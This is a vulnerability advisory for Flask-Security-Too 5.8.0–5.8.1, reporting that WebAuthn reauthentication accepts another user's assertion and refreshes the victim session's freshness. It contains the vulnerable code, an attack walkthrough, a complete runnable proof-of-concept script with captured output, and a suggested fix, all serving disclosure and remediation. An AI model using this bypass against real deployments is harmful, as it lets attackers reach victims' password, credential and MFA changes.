PT-2026-60911 · Pypi · Flask-Security-Too
Published
2026-07-07
·
Updated
2026-07-07
CVSS v4.0
5.3
Medium
| Vector | AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
Summary
Flask-Security-Too 5.8.0 and 5.8.1 mark a session as reauthentication-fresh after processing a WebAuthn assertion whose proven credential belongs to a different user than the currently authenticated session user. The check that
GHSA-97r5-pg8x-p63p added on the OAuth reauthentication path (user.email == current user.email) is missing on the WebAuthn reauthentication path. An attacker who owns any WebAuthn credential registered to any account on the deployment can satisfy a victim session's freshness gate by submitting their own WebAuthn proof into the victim session.Affected versions
Flask-Security-Too >= 5.8.0, <= 5.8.1 (current main commit 5c44c76e33a20b67d02115e26d2da4bab18c094e).
GHSA-97r5-pg8x-p63p (published 2026-05-22) shipped its fix in 5.8.1 only on oauth glue.py; webauthn.py was not touched and remains exploitable in 5.8.1.Privilege required
Authenticated attacker on the same Flask-Security deployment, owning at least one WebAuthn credential of any usage (
first / secondary / verify) that is registered to their own account. The attacker also needs the ability to drive HTTP requests against the WebAuthn endpoints inside the victim session (e.g. a separate gadget such as CSRF + cookie-based auth, an XSS that doesn't reach the cookie itself but can move the session through endpoints, or an existing session-fixation gadget; or the rarer but easier case of an attacker who has direct access to the victim's not-yet-fresh session via a shared browser). The point of the freshness gate is to defend exactly that "I have the session but it isn't fresh enough to do sensitive things" position, so any context in which freshness would have protected the victim is also the context in which this bypass matters.Vulnerable code
[
flask security/webauthn.py:846-889](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask security/webauthn.py#L846-L889) (commit
5c44c76e33a20b67d02115e26d2da4bab18c094e):python
@auth required(lambda: cv("API ENABLED METHODS"))
def webauthn verify response(token: str) -> ResponseValue:
form = t.cast(
WebAuthnSigninResponseForm, build form from request("wan signin response form")
)
expired, invalid, state = check and get token status(
token, "wan", get within delta("WAN SIGNIN WITHIN")
)
...
form.challenge = state["challenge"]
form.user verification = state["user verification"]
form.is secondary = False
form.is verify = True
if form.validate on submit():
# update last use and sign count
after this request(view commit)
assert form.cred
assert form.user
form.cred.lastuse datetime = security.datetime factory()
form.cred.sign count = form.authentication verification.new sign count
datastore.put(form.cred)
# verified - so set freshness time.
session["fs paa"] = time.time()
...[
flask security/webauthn.py:276-308](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask security/webauthn.py#L276-L308) (the form's validate()):python
def validate(self, **kwargs: t.Any) -> bool:
if not super().validate(**kwargs):
return False # pragma: no cover
...
try:
auth cred = parse authentication credential json(self.credential.data)
except (...):
...
return False
# Look up credential Id (raw id) and user. 7.2.6/7
self.cred = datastore.find webauthn(credential id=auth cred.raw id)
...
# This shouldn't be able to happen if datastore properly cascades delete
self.user = datastore.find user from webauthn(self.cred)self.user is resolved from the attacker-controlled credential id and is never compared to current user. The state token issued by signin common (webauthn.py:589-622) carries only {challenge, user verification}, so state tokens are not bound to any user and replay portably across sessions:python
def signin common(user: UserMixin | None, usage: list[str]) -> tuple[t.Any, str]:
...
state = {
"challenge": challenge,
"user verification": uv,
}
...
state token = t.cast(str, security.wan serializer.dumps(state))
return o json, state tokenContrast with the patch in [
oauth glue.py:211](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/oauth glue.py#L211) that GHSA-97r5-pg8x-p63p shipped:python
next loc = session.pop("fs oauth next", None)
if user and user.email == current user.email:
# verified - so set freshness time.
session["fs paa"] = time.time()That
user.email == current user.email clamp is the missing check on the WebAuthn side.How input reaches the sink
- Attacker logs in to their own account and registers their own WebAuthn
credential (call it
cred attacker). They retain a copy of any validnavigator.credentials.get()assertion JSON produced by their authenticator (one signature is enough; can also be produced fresh on demand per request). - Attacker holds, or gets, a victim session in a state where
fs paais pastFRESHNESS. The victim is authenticated as themselves; the gate stops them from invoking freshness-protected business endpoints (/change,/change-username,/wf-add,/us-setup, anything decorated with@auth required(within=...)). - The victim session calls
POST /wan-verifyand receives awan statetoken. The state token has no user binding. - Attacker submits an assertion that proves possession of
cred attacker, inside the victim session, toPOST /wan-verify/<wan state>. WebAuthnSigninResponseForm.validateresolvesform.userto the attacker account fromfind user from webauthn(self.cred), signs/verifies the assertion against the (attacker-controlled) public key it stored at registration time, and returnsTrue. The user-handle check onauth cred.response.user handle(if present) compares againstself.user.fs webauthn user handle, i.e. it compares attacker user-handle to attacker user, so it passes trivially.webauthn verify responsethen writessession["fs paa"] = time.time(). The session user is unchanged (still the victim) but the freshness clock is reset by a cryptographic proof of the attacker's authenticator.- Any subsequent
@auth required(within=...)endpoint now succeeds inside the victim session.
End-to-end reproduction
Reproduction is an in-process Flask test client driving the published wheel (
pip install Flask-Security-Too==5.8.0, also re-run against 5.8.1 since GHSA-97r5-pg8x-p63p's fix shipped with that release only touched oauth glue.py). The full transcript is in the Proof of concept section below; here is the boot recipe:bash
python3.12 -m venv venv
source venv/bin/activate
pip install --quiet 'Flask-Security-Too==5.8.0' Flask-SQLAlchemy webauthn email-validator argon2 cffi
python poc.pyCaptured run-time output (5.8.0 path):
=== Submit BOB's WebAuthn assertion to Alice's /wan-verify-response ===
cross-user assertion status: 200
alice fs uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038' # still Alice
fs paa BEFORE: 1779582282.550872
fs paa AFTER : 1779585882.615287 # advanced
=== Demonstrate impact: /sensitive (freshness-protected) accepted ===
/sensitive after cross-user verify status: 200Re-run against 5.8.1 produces the same
200 on the cross-user assertion and the same 200 on the freshness-gated endpoint, confirming that the patch for GHSA-97r5-pg8x-p63p did not extend to the WebAuthn path.Proof of concept
Mocked WebAuthn fixtures (
REG DATA UV, SIGNIN DATA UV, REG DATA1, SIGNIN DATA1) and HackWebauthnUtil are lifted verbatim from the project's own test suite ([tests/test webauthn.py](https://github.com/pallets-eco/flask security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/tests/test webauthn.py)) which pins the challenge so a recorded assertion blob can be replayed; this does not bypass any cryptographic check inside webauthn.verify authentication response, it just substitutes the test-suite's own WebauthnUtil so the recorded blobs can be exercised against a running app instance. In a real-world deployment the attacker uses their own authenticator producing fresh assertions per request.poc.py (complete, runnable; the REG DATA* / SIGNIN DATA* fixtures are the project's own tests/test webauthn.py blobs, reproduced in full):python
"""
E2E PoC for Flask-Security-Too 5.8.0 WebAuthn reauthentication freshness bypass
via cross-user assertion.
Sibling of GHSA-97r5-pg8x-p63p (OAuth path, fixed in 5.8.1). The WebAuthn
verify path (`webauthn.py:847-889 webauthn verify response` +
`webauthn.py:276-366 WebAuthnSigninResponseForm.validate`) sets
`session["fs paa"] = time.time()` whenever a syntactically valid WebAuthn
assertion completes, without checking that the assertion's resolved user
equals the current session user.
Setup:
- Alice and Bob both registered as users.
- Each registers their own WebAuthn credential (REG DATA UV for Alice as
primary-usage key, REG DATA1 for Bob as primary-usage key).
- Alice authenticates via password. Her freshness timestamp is rolled back
to simulate a stale session (the standard reauthn precondition).
- Alice's session attempts /wan-verify and gets a state token. The state
token only contains {challenge, user verification} -- no user binding.
- Alice's session POSTs to /wan-verify/<state token> with BOB's WebAuthn
credential signature (SIGNIN DATA1).
- validate() resolves form.user from Bob's credential id without checking
against current user. webauthn verify response writes
session["fs paa"] = time.time().
- Alice now passes the freshness gate using a proof of Bob's credential.
Outcome: a freshness-protected endpoint (/fresh, /change-username, etc.)
responds 200 for Alice's session even though the only credential proof
provided was Bob's. This is the same trust-contract violation that
GHSA-97r5-pg8x-p63p patched on the OAuth path.
"""
import copy
import datetime as dt
import json
import re
import time
from datetime import timedelta
from flask import Flask, jsonify
from flask sqlalchemy import SQLAlchemy
from flask security import (
Security,
SQLAlchemyUserDatastore,
auth required,
hash password,
)
from flask security.models import fsqla v3 as fsqla
from flask security.webauthn util import WebauthnUtil
# Fixtures lifted verbatim from tests/test webauthn.py
CHALLENGE = "smCCiy k2CqQydSQ kPEjV5a2d0ApfatcpQ1aXDmQPo"
REG DATA UV = {
"id": "s3xZpfGy0ZH-sSkfxIsgChwbkw O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
"rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
"type": "public-key",
"response": {
"attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVjC"
"SZYN5YgOjGh0NBcPZHZgW4 krrmihjLHmVzzuoMdl2PFAAAABAAAAA"
"AAAAAAAAAAAAAAAAAAMLN8WaXxstGR rEpH8SLIAocG5MPztIzhbWXi"
"dS11DBGvGrRtaBLJDaphSQn4CmRsqUBAgMmIAEhWCCzfFml8bLRkf"
"6xKR EUnaoI333MuxRlv5-LwojDibdTyJYIFMifFwn-RfkDDgsTHF"
"jWgE6bld-Jc4nhFMTkQja9P8IoWtjcmVkUHJvdGVjdAI",
"clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzI"
"xRFEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlY"
"UmpjRkV4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2Nhb"
"Ghvc3Q6NTAwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0",
"transports": ["nfc", "usb"],
},
"extensions": '{"credProps":{"rk":true}}',
}
SIGNIN DATA UV = {
"id": "s3xZpfGy0ZH-sSkfxIsgChwbkw O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
"rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
"type": "public-key",
"response": {
"authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4 krrmihjLHmVzzuoMdl2MFAAAABQ==",
"clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy"
"bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4W"
"VZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMSI"
"sImNyb3NzT3JpZ2luIjpmYWxzZX0=",
"signature": "MEUCIQDR0m9Ob4nqVGiAPUf1Tu5XohDh2frl1LJ6G41GURlUIgIgKUPfkw"
"AjP2863L2nDhcR2EKqoGEQLqlQ5xymZstyO6o=",
},
"assertionClientExtensions": "{}",
}
REG DATA1 = {
"id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
"rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
"type": "public-key",
"response": {
"attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVikSZYN5YgOjGh0NB"
"cPZHZgW4 krrmihjLHmVzzuoMdl2NFAAAAAQAAAAAAAAAAAAAAAAAAA"
"AAAIMFFKjTo2N-XXE r6YpGaWcfk dTYyHuD6q1fI-42DznpQECAy"
"YgASFYIFRipoWMEiDuCtLUvSlqCFZBqxvUuNqZKavlWgvN2BK8Il"
"ggLOV4eez9k0det5oIZGyKanGkmWa0hygnjjFmf8Rep6c",
"clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzIxR"
"FEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRk"
"V4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NT"
"AwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0",
"transports": ["usb"],
},
"extensions": '{"credProps": {}}',
}
SIGNIN DATA1 = {
"id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
"rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
"type": "public-key",
"response": {
"authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4 krrmihjLHmVzzuoMdl2MBAAAABQ==",
"clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy"
"bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4"
"WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAw"
"MSIsImNyb3NzT3JpZ2luIjpmYWxzZX0=",
"signature": "MEUCIH5VdRXxfnoxfrVk72gvWAn91QH-l2UrIohk5YOWi9XpAiEAn6f9oHtFS"
"68HVf6K Ku0L33C0sID2HzpJWSiTNgJlbU=",
},
"assertionClientExtensions": "{}",
}
class HackWebauthnUtil(WebauthnUtil):
"""Mirrors tests/test webauthn.py: pins the challenge to the value embedded
in REG DATA / SIGNIN DATA so the cryptographic verification accepts the
pre-recorded blobs. Standard PoC technique used by the project's own test
suite. Does NOT change the vulnerable code path."""
def generate challenge(self, nbytes=None):
return CHALLENGE
def origin(self):
return "http://localhost:5001"
def build app():
app = Flask( name )
app.config["SECRET KEY"] = "poc-secret"
app.config["SECURITY PASSWORD SALT"] = "poc-salt"
app.config["SQLALCHEMY DATABASE URI"] = "sqlite:///:memory:"
app.config["SQLALCHEMY TRACK MODIFICATIONS"] = False
app.config["WTF CSRF ENABLED"] = False
app.config["SERVER NAME"] = "localhost:5001"
app.config["SECURITY WEBAUTHN"] = True
app.config["SECURITY WAN ALLOW AS FIRST FACTOR"] = True
app.config["SECURITY WAN ALLOW AS VERIFY"] = ["first", "secondary"]
app.config["SECURITY WAN ALLOW AS MULTI FACTOR"] = True
app.config["SECURITY FRESHNESS"] = timedelta(minutes=1)
app.config["SECURITY FRESHNESS GRACE PERIOD"] = timedelta(seconds=0)
app.config["SECURITY CHANGEABLE"] = True
app.config["SECURITY USERNAME ENABLE"] = False
app.config["SECURITY FRESHNESS"] = timedelta(seconds=10)
db = SQLAlchemy(app)
fsqla.FsModels.set db info(db)
class Role(db.Model, fsqla.FsRoleMixin):
pass
class WebAuthn(db.Model, fsqla.FsWebAuthnMixin):
pass
class User(db.Model, fsqla.FsUserMixin):
pass
ds = SQLAlchemyUserDatastore(db, User, Role, WebAuthn)
app.security = Security(
app, datastore=ds, webauthn util cls=HackWebauthnUtil
)
# A representative freshness-protected business endpoint. Same gate the
# built-in /change, /change-username, /wf-add etc. use.
@app.route("/sensitive", methods=["POST"])
@auth required(
within=lambda: app.config["SECURITY FRESHNESS"],
grace=lambda: app.config["SECURITY FRESHNESS GRACE PERIOD"],
)
def sensitive():
return jsonify({"ok": True}), 200
with app.app context():
db.create all()
ds.create user(
email="alice@example.com",
password=hash password("alice-password"),
confirmed at=dt.datetime.now(dt.timezone.utc),
)
ds.create user(
email="bob@example.com",
password=hash password("bob-password"),
confirmed at=dt.datetime.now(dt.timezone.utc),
)
db.session.commit()
return app
def register start json(client, name, usage="first"):
resp = client.post("/wan-register", json=dict(name=name, usage=usage))
assert resp.status code == 200, resp.data
return f'/wan-register/{resp.json["response"]["wan state"]}'
def login password(client, email, password):
resp = client.post(
"/login",
json=dict(email=email, password=password),
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
assert resp.status code == 200, resp.data
return resp
def logout(client):
return client.post(
"/logout",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
def step(label):
print(f"
=== {label} ===")
def main():
app = build app()
print(f"flask-security version under test: { import ('flask security'). version }")
# Step 1: Bob logs in, registers his WebAuthn credential, logs out
step("Bob registers his WebAuthn credential (attacker's own key)")
bob client = app.test client()
login password(bob client, "bob@example.com", "bob-password")
url = register start json(bob client, name="bobkey", usage="first")
r = bob client.post(url, json=dict(credential=json.dumps(REG DATA1)))
assert r.status code == 200, r.data
print(f" bob register status: {r.status code}")
logout(bob client)
# Step 2: Alice logs in, registers her own WebAuthn credential, stays logged in
step("Alice registers her own WebAuthn credential (victim's key)")
alice client = app.test client()
login password(alice client, "alice@example.com", "alice-password")
url = register start json(alice client, name="alicekey", usage="first")
r = alice client.post(url, json=dict(credential=json.dumps(REG DATA UV)))
assert r.status code == 200, r.data
print(f" alice register status: {r.status code}")
# Step 3: Confirm Alice's session can hit /sensitive while fresh (sanity)
step("Confirm /sensitive works while session is fresh")
r = alice client.post(
"/sensitive",
json=dict(),
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
print(f" /sensitive while fresh status: {r.status code}")
assert r.status code == 200, r.data
# Step 4: Roll Alice's fs paa back to simulate a stale session
step("Stale Alice's session (roll fs paa back past FRESHNESS)")
with alice client.session transaction() as sess:
old paa = sess["fs paa"] - 3600
sess["fs paa"] = old paa
sess.pop("fs gexp", None)
alice identity = sess.get(" user id")
print(f" alice fs uniquifier in session: {alice identity!r}")
print(f" alice fs paa now: {old paa}")
# Step 5: Confirm freshness gate now denies Alice
step("Confirm /sensitive now requires reauth (401 reauth required)")
r = alice client.post(
"/sensitive",
json=dict(),
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
print(f" /sensitive after stale status: {r.status code}")
print(f" body: {r.json}")
assert r.status code == 401
assert r.json["response"]["reauth required"] is True
# Step 6: Alice's session calls /wan-verify -> gets state token.
# The state token contains {challenge, user verification} only -- no user
# binding -- and the WebAuthn challenge it embeds is the pinned constant
# CHALLENGE because HackWebauthnUtil overrides generate challenge. That
# matches the challenge baked into Bob's pre-recorded SIGNIN DATA1.
step("Alice fetches /wan-verify state token")
r = alice client.post(
"/wan-verify",
json=dict(),
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
assert r.status code == 200, r.data
wan state = r.json["response"]["wan state"]
print(f" wan state acquired (truncated): {wan state[:80]}...")
# Step 7: Alice's session POSTs Bob's SIGNIN DATA to /wan-verify/<state token>.
# WebAuthnSigninResponseForm.validate() resolves form.user from
# SIGNIN DATA1.id == Bob's credential id, and never checks form.user ==
# current user. webauthn verify response then writes
# session["fs paa"] = time.time() on Alice's session.
step("Submit BOB's WebAuthn assertion to Alice's /wan-verify-response")
r = alice client.post(
f"/wan-verify/{wan state}",
json=dict(credential=json.dumps(SIGNIN DATA1)),
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
print(f" cross-user assertion status: {r.status code}")
print(f" body: {r.json}")
assert r.status code == 200, "Expected webauthn verify response to accept cross-user assertion"
# Step 8: Inspect Alice's session. fs paa should be freshly updated even
# though the proof was Bob's credential.
with alice client.session transaction() as sess:
new paa = sess["fs paa"]
post attack identity = sess.get(" user id")
print(f" alice fs uniquifier in session AFTER: {post attack identity!r}")
print(f" fs paa BEFORE: {old paa}")
print(f" fs paa AFTER : {new paa}")
assert new paa > old paa, "fs paa was NOT advanced -> not exploitable"
assert post attack identity == alice identity, "Session swapped users -- different bug"
# Step 9: Confirm Alice's session now passes the freshness-gated action.
step("Demonstrate impact: /sensitive (freshness-protected) accepted")
r = alice client.post(
"/sensitive",
json=dict(),
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
print(f" /sensitive after cross-user verify status: {r.status code}")
print(f" body: {r.json}")
assert r.status code == 200, "Freshness gate did NOT accept the cross-user proof"
print("
=== RESULT ===")
print("Alice's session was reauthenticated using BOB's WebAuthn credential.")
print("fs paa advanced; freshness-gated endpoints accept Alice's session.")
print("The session user is still Alice (this is reauth-freshness bypass,")
print("not a login bypass) -- same trust-contract violation that")
print("GHSA-97r5-pg8x-p63p fixed on the OAuth path.")
if name == " main ":
main()Verbatim run-time output against the published
Flask-Security-Too==5.8.0
wheel ($ python poc.py):flask-security version under test: 5.8.0
=== Bob registers his WebAuthn credential (attacker's own key) ===
bob register status: 200
=== Alice registers her own WebAuthn credential (victim's key) ===
alice register status: 200
=== Confirm /sensitive works while session is fresh ===
/sensitive while fresh status: 200
=== Stale Alice's session (roll fs paa back past FRESHNESS) ===
alice fs uniquifier in session: '408245d132bc4213a55606c46f40e038'
alice fs paa now: 1779582282.550872
=== Confirm /sensitive now requires reauth (401 reauth required) ===
/sensitive after stale status: 401
body: {'meta': {'code': 401}, 'response': {'errors': ['You must reauthenticate to access this endpoint'], 'has webauthn verify credential': True, 'oauth enabled': False, 'oauth providers': [], 'reauth required': True, 'unified signin enabled': False}}
=== Alice fetches /wan-verify state token ===
wan state acquired (truncated): eyJjaGFsbGVuZ2UiOiJzbUNDaXlfazJDcVF5ZFNRX2tQRWpWNWEyZDBBcGZhdGNwUTFhWERtUVBvIiwi...
=== Submit BOB's WebAuthn assertion to Alice's /wan-verify-response ===
cross-user assertion status: 200
body: {'meta': {'code': 200}, 'response': {'csrf token': 'IjYzMDk1YjZjMTUwOTJlOWU4ZjAxNTQ1ZDI3MTM4YzA1OWJkYjZmZjci.ahJTWg.cWM261xwKEAFJXa3SK-ioz6pTro', 'user': {}}}
alice fs uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038'
fs paa BEFORE: 1779582282.550872
fs paa AFTER : 1779585882.615287
=== Demonstrate impact: /sensitive (freshness-protected) accepted ===
/sensitive after cross-user verify status: 200
body: {'ok': True}
=== RESULT ===
Alice's session was reauthenticated using BOB's WebAuthn credential.
fs paa advanced; freshness-gated endpoints accept Alice's session.
The session user is still Alice (this is reauth-freshness bypass,
not a login bypass) -- same trust-contract violation that
GHSA-97r5-pg8x-p63p fixed on the OAuth path.Re-run against the published
Flask-Security-Too==5.8.1 wheel (the release
that shipped the GHSA-97r5-pg8x-p63p OAuth fix) is identical — the
cross-user assertion is still accepted (200) and the freshness-gated
endpoint is still reachable (200), confirming the parent fix did not
extend to the WebAuthn path:flask-security version under test: 5.8.1
=== Bob registers his WebAuthn credential (attacker's own key) ===
bob register status: 200
=== Alice registers her own WebAuthn credential (victim's key) ===
alice register status: 200
=== Confirm /sensitive works while session is fresh ===
/sensitive while fresh status: 200
=== Stale Alice's session (roll fs paa back past FRESHNESS) ===
alice fs uniquifier in session: 'c60d7c7a5a894575b396f8917c814e46'
alice fs paa now: 1779582300.361872
=== Confirm /sensitive now requires reauth (401 reauth required) ===
/sensitive after stale status: 401
body: {'meta': {'code': 401}, 'response': {'errors': ['You must reauthenticate to access this endpoint'], 'has webauthn verify credential': True, 'oauth enabled': False, 'oauth providers': [], 'reauth required': True, 'unified signin enabled': False}}
=== Alice fetches /wan-verify state token ===
wan state acquired (truncated): eyJjaGFsbGVuZ2UiOiJzbUNDaXlfazJDcVF5ZFNRX2tQRWpWNWEyZDBBcGZhdGNwUTFhWERtUVBvIiwi...
=== Submit BOB's WebAuthn assertion to Alice's /wan-verify-response ===
cross-user assertion status: 200
body: {'meta': {'code': 200}, 'response': {'csrf token': 'ImJiZTQ2YWJhMmJlMDJlNWU2NDE2ODI1Njc0Nzc4ZGJhYzYzZDBhOWEi.ahJTbA.gEq7o8QoNq5t-UnjM9SdR 9Mqw4', 'user': {}}}
alice fs uniquifier in session AFTER: 'c60d7c7a5a894575b396f8917c814e46'
fs paa BEFORE: 1779582300.361872
fs paa AFTER : 1779585900.41935
=== Demonstrate impact: /sensitive (freshness-protected) accepted ===
/sensitive after cross-user verify status: 200
body: {'ok': True}
=== RESULT ===
Alice's session was reauthenticated using BOB's WebAuthn credential.
fs paa advanced; freshness-gated endpoints accept Alice's session.
The session user is still Alice (this is reauth-freshness bypass,
not a login bypass) -- same trust-contract violation that
GHSA-97r5-pg8x-p63p fixed on the OAuth path.The session user remains Alice (
fs uniquifier unchanged), but fs paa
advances and the freshness-gated endpoint accepts the request, even though
the only cryptographic proof presented was Bob's WebAuthn signature.Impact
- Bypass of
@auth required(within=...)freshness gates on the WebAuthn reauthentication path. Any sensitive operation that relies on freshness (built-in:/changepassword change,/change-username,/wf-addto register a new WebAuthn credential,/us-setupto (re)configure unified signin,/mf-recovery-codes; app-defined: any business route the application protected with@auth required(within=...)) is reachable from an attacker-held victim session. - Promotes any session-handoff or session-holder gadget from "victim still protected against sensitive ops" to "attacker reaches sensitive ops" using the attacker's own authenticator.
- Same trust-contract violation that
GHSA-97r5-pg8x-p63p(rated medium) was published to close on the OAuth path. The WebAuthn variant is reachable wherever the project's WebAuthn-verify is enabled.
Suggested fix
Add the equivalent of the OAuth fix in
flask security/webauthn.py:webauthn verify response so the cryptographically
verified user must equal the currently authenticated session user before
freshness is advanced:python
if form.validate on submit():
assert form.cred
assert form.user
if form.user != current user. get current object():
# Cryptographic proof was valid, but for a different account; do not
# treat the current session as reauthenticated.
m, c = get message("WEBAUTHN MISMATCH USER HANDLE")
if security. want json(request):
form.form errors.append(m)
return base render json(form, include user=False)
do flash(m, c)
return redirect(url for security("wan verify"))
after this request(view commit)
form.cred.lastuse datetime = security.datetime factory()
form.cred.sign count = form.authentication verification.new sign count
datastore.put(form.cred)
session["fs paa"] = time.time()
...Equivalent pattern (and arguably tighter) is to add a bind into the state
token issued by
signin common when called from webauthn verify (the
caller already holds form.user = current user):python
def signin common(user, usage):
...
state = {
"challenge": challenge,
"user verification": uv,
"user id": user.fs uniquifier if user else None, # NEW
}
...and check it in
WebAuthnSigninResponseForm.validate when the form is being
used for verify (self.is verify). Either fix shape closes the bug; the
current user-bind shape mirrors [oauth glue.py:211](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/oauth glue.py#L211) more directly. The
/wan-signin flow (is verify == False) does not need to change — it is the
primary-signin path where there is by design no current user yet.Fix PR
To follow on the advisory's temp private fork once it is provisioned.
Credit
Reported by tonghuaroot.
Fix
Incorrect Authorization
Improper Authentication
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Flask-Security-Too